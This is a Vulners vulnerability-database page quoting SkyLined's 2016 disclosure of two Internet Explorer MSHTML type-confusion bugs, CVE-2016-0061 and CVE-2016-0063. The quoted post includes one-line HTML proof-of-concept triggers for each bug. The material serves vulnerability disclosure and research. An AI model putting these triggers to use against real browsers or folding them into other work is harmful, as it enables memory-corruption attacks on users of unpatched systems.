Vulners
Lucene search
Microsoft Internet Explorer Type Confusion
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
 | Microsoft Internet Explorer 8 / 9 / 10 / 11 MSHTML - DOMImplementation Type Confusion Exploit | 29 Nov 201600:00 | – | zdt |
 | CVE-2016-0063 | 28 Nov 201600:00 | – | circl |
 | Microsoft Internet Explorer Denial of Service Vulnerability (CNVD-2016-01019) | 11 Feb 201600:00 | – | cnvd |
| Microsoft Internet Explorer Denial of Service Vulnerability (CNVD-2016-01021) | 11 Feb 201600:00 | – | cnvd |
 | Microsoft Internet Explorer Memory Corruption (MS16-009: CVE-2016-0061) | 9 Feb 201600:00 | – | checkpoint_advisories |
| Microsoft Internet Explorer Memory Corruption (MS16-009: CVE-2016-0063) | 9 Feb 201600:00 | – | checkpoint_advisories |
 | CVE-2016-0061 | 10 Feb 201611:00 | – | cve |
| CVE-2016-0063 | 10 Feb 201611:00 | – | cve |
 | CVE-2016-0061 | 10 Feb 201611:00 | – | cvelist |
| CVE-2016-0063 | 10 Feb 201611:00 | – | cvelist |
10
`Hello everyone,
I've recently released examples on twitter of how to trigger two
security vulnerabilities in Microsoft Internet Explorer. These issue
were discovered last year and reported to Microsoft through ZDI.
Microsoft release security updates to address these issues last Tuesday.
======
CVE-2016-0061:
https://twitter.com/berendjanwever/status/697819335574843394
MSHTML Form element id type confusion CVE-2016-0061 ZDI-16-162 MS16-009
<meta http-equiv=X-UA-Compatible content=IE=7><form id="䅁䅁"><body onload=opener?opener["\u4141\u4141"]():open("?")>
======
CVE-2016-0063:
https://twitter.com/berendjanwever/status/697818121835581441
DOMImplementation method type confusion CVE-2016-0063 ZDI-16-166 MS16-009
<body onload=open("2.html")> (part 1/2)
<meta http-equiv=X-UA-Compatible content=IE=11><body onload=x=opener.DOMImplementation(0).prototype.isPrototypeOf;x()> (part 2/2)
======
Both were found through fuzzing inspired by Michal Zalewski's cross_fuzz
http://lcamtuf.blogspot.nl/2011/01/announcing-crossfuzz-potential-0-day-in.html
Cheers,
SkyLined
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Feb 2016 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.40616